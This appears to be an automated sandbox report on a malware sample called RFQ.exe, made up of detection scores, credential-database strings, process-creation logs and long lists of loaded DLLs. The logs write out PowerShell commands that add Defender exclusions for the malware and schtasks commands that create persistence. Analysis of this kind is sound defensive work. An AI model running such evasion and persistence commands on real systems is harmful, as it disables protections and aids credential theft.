Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RFQ.exe	Binary or memory string: SELECT item1 FROM metadata WHERE id = 'password';
Source: LogfisslehbQlYkgroFYogLHXZKSUzhGekoogWGBPjtfAuuepjaXbgfishfall.7.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: RFQ.exe	Virustotal: Detection: 73%
Source: RFQ.exe	ReversingLabs: Detection: 76%

Source: C:\Users\user\Desktop\RFQ.exe

File read: C:\Users\user\Desktop\RFQ.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\RFQ.exe "C:\Users\user\Desktop\RFQ.exe"
Source: C:\Users\user\Desktop\RFQ.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\RFQ.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\wOPQRmK.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\RFQ.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\wOPQRmK" /XML "C:\Users\user\AppData\Local\Temp\tmpD6E6.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\RFQ.exe	Process created: C:\Users\user\Desktop\RFQ.exe "C:\Users\user\Desktop\RFQ.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\wOPQRmK.exe C:\Users\user\AppData\Roaming\wOPQRmK.exe
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\wOPQRmK" /XML "C:\Users\user\AppData\Local\Temp\tmpE703.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process created: C:\Users\user\AppData\Roaming\wOPQRmK.exe "C:\Users\user\AppData\Roaming\wOPQRmK.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Users\user\Desktop\RFQ.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ.exe"	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\wOPQRmK.exe"	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\wOPQRmK" /XML "C:\Users\user\AppData\Local\Temp\tmpD6E6.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process created: C:\Users\user\Desktop\RFQ.exe "C:\Users\user\Desktop\RFQ.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\wOPQRmK" /XML "C:\Users\user\AppData\Local\Temp\tmpE703.tmp"
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process created: C:\Users\user\AppData\Roaming\wOPQRmK.exe "C:\Users\user\AppData\Roaming\wOPQRmK.exe"

Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: msvbvm60.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: vb6zz.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: zipfldr.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: msvbvm60.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: vb6zz.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: sxs.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: scrrun.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: winsqlite3.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: vbscript.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: zipfldr.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: dui70.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: duser.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: oleacc.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: msxml3.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: mlang.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: dpapi.dll
